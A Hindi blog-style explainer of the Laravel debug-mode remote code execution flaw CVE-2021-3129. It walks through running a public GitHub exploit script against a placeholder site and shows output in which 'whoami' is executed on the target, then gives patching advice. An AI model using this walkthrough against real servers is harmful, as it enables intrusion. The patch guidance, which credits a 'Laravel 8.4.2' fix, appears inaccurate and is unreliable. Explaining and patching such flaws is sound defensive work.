फ़रवरी 2021 में, एक सुरक्षा शोधकर्ता ने लोकप्रिय PHP फ़्रेमवर्क Laravel में एक गंभीर सुरक्षा कमजोरी की खोज की। इस कमजोरी को CVE-2021-3129 नाम दिया गया है, और यह हमलावरों को उस सर्वर पर arbitrary code execute करने की अनुमति देती है जहाँ कमजोर एप्लिकेशन चल रहा हो। इसके परिणामस्वरूप पूरा सर्वर समझौता (compromise) हो सकता है।
Exploit कैसे काम करता है
यह कमजोरी Laravel के “Debug” मोड में उपयोगकर्ता इनपुट को संभालने के तरीके में मौजूद एक गलती से उत्पन्न होती है। Debug मोड Laravel की एक विशेषता है जो डेवलपर्स को विस्तृत त्रुटि संदेश दिखाकर समस्याओं को आसानी से पहचानने और ठीक करने में मदद करती है। लेकिन यदि कोई हमलावर Debug मोड में चल रही Laravel एप्लिकेशन को विशेष रूप से तैयार की गई इनपुट भेज सकता है, तो वह इस कमजोरी का उपयोग करके सर्वर पर arbitrary code execute कर सकता है।
प्रूफ़ ऑफ़ कॉन्सेप्ट
इस प्रूफ़ ऑफ़ कॉन्सेप्ट में हम Joshua van der Poll द्वारा बनाया गया एक स्क्रिप्ट उपयोग करेंगे, जो Laravel Debug कमजोरी (CVE-2021-3129) का फायदा उठाने के लिए बनाया गया है। यह कमजोरी Windows और Linux आधारित दोनों Laravel वेबसाइटों को प्रभावित करती है। यह स्क्रिप्ट GitHub पर joshuavanderpoll/CVE-2021-3129 नाम से उपलब्ध है। Python स्क्रिप्ट कमजोरी की जाँच करती है और यदि सिस्टम कमजोर है, तो कमांड चलाने की अनुमति देती है।
शुरू करने के लिए, GitHub से स्क्रिप्ट डाउनलोड करें और README.md फ़ाइल में दिए गए सेटअप चरणों का पालन करें। जब स्क्रिप्ट तैयार हो जाए, तब यह कमांड चलाएँ:
$ python3 CVE-2021-3129.py
इसके बाद आपको नीचे जैसा आउटपुट दिखाई देगा:
Laravel Debug Mode CVE script [•] Made by: https://github.com/joshuavanderpoll/CVE-2021-3129 [•] Using PHPGGC: https://github.com/ambionics/phpggc [?] Enter host (e.g. https://example.com/) : https://unsafe_laravel_site.com/ [@] Starting exploit on "https://unsafe_laravel_site.com/"... [@] Testing vulnerable URL https://unsafe_laravel_site.com/_ignition/execute-solution... [√] Host seems vulnerable! [@] Searching Laravel log file path... [•] Laravel seems to be running on a Windows based machine. [√] Laravel log found: "C:\inetpub\wwwroot\UnsafeLaravel\storage\logs\laravel.log". [•] Laravel version found: "7.30.4". [•] Use "?" for a list of all possible actions. [?] Please enter a command to execute:
जब आपको यह संदेश दिखाई दे कि होस्ट कमजोर (vulnerable) है, तब आप कमांड चलाना शुरू कर सकते हैं। उदाहरण के लिए, आप यह कमांड दर्ज कर सकते हैं:
execute whoami
इससे नीचे जैसा आउटपुट प्राप्त होगा:
[@] Executing command "whoami"... [@] Generating payloads... [√] Generated 12 payloads. [@] Trying chain laravel/rce1 [1/12]... [@] Clearing logs... [@] Causing error in logs... [√] Caused error in logs. [@] Sending payloads... [√] Sent payload. [@] Converting payload... [√] Converted payload. [√] Result: autorite nt\iusr [?] Do you want to try the next chain? [Y/N] : n
जैसा कि आप देख सकते हैं, यदि कमजोरी patch नहीं की गई है, तो स्क्रिप्ट आपको target सिस्टम पर कमांड चलाने की अनुमति देती है। यह आपके सिस्टम के compromise और backdoor होने का कारण बन सकता है।
कमजोरी को Patch कैसे करें
Laravel डेवलपमेंट टीम ने इस कमजोरी के लिए जल्दी ही patch जारी किया — Laravel संस्करण 8.4.2। उन्होंने एक सुरक्षा सलाह (security advisory) भी जारी की जिसमें सभी Laravel उपयोगकर्ताओं से आग्रह किया गया कि वे अपने एप्लिकेशन जल्द से जल्द अपडेट करें।
Laravel को patched संस्करण में अपग्रेड करने के लिए, अपने Laravel प्रोजेक्ट की root directory से यह कमांड चलाएँ:
composer update laravel/framework
यह कमांड आपके Laravel इंस्टॉलेशन को नवीनतम संस्करण में अपडेट कर देगी, जिसमें CVE-2021-3129 का patch शामिल है। अपडेट करने के बाद, यह भी सुनिश्चित करें कि production environment में Debug mode बंद हो। Debug mode केवल development और testing के लिए उपयोग किया जाना चाहिए, production में कभी नहीं।
सारांश
सारांश में, CVE-2021-3129 एक गंभीर सुरक्षा कमजोरी है जो हमलावरों को कमजोर Laravel एप्लिकेशन चलाने वाले सर्वर पर arbitrary code execute करने की अनुमति देती है। यह कमजोरी Laravel संस्करण 8.4.2 में ठीक की गई है, इसलिए यदि आप पुराना संस्करण चला रहे हैं, तो तुरंत अपडेट करना बेहद आवश्यक है। इसके अलावा, exploitation के जोखिम को कम करने के लिए production में Debug mode हमेशा बंद रहना चाहिए।